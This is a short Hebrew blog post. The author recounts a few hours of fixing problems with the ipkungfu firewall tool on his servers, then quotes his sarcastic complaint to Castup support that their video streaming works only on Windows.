הבעיה היתה הודעות שגיאה מוזרות, שאפילו המפתח שלו לא הצליח להבין מאיפה הן באות (הוא יושב ב#ipkungfu בפרינוד).
בסוף הצלחתי לגרום לו לפעול איכשהו.

כל הסיפור לקח כשלוש ארבע שעות, כאשר רוב האתרים שאני מריץ לא היו למטה יותר מחצי שעה להערכתי.
די בטוח שנגלה עוד תקלות בהמשך, אבל סך הכל זה לא היה נורא.

castup

הודעה ששלחתי לתמיכה הטכנית של castup:

שלום,
כשאני גולש באתרים שמתמשים בשרות שלכם אני מרגיש כאילו השנה היא 1999 והאינטרנט הישראלי בחיתוליו.
בתור חברה שמכנה את עצמה "Leading developer and service provider" אתם מתהדרים בטכנולוגיה נחותה למדי שעובדת רק אצל חלק מהמשתמשים.
יש מגוון פתרונות של הזרמת וידאו שעובדים בצורה פורטבילית גם על לינוקס ומק, אבל אתם מתעקשים להשתמש בטכנולוגיות שעובדות רק בחלונות.
האם יש תקווה שהמצב ישתפר עוד בתום העשור הראשון למאה העשרים ואחת?

בתודה,
עמרי ידן.

הודעה זו פורסמה בבלוג שלי, http://firefang.net/blog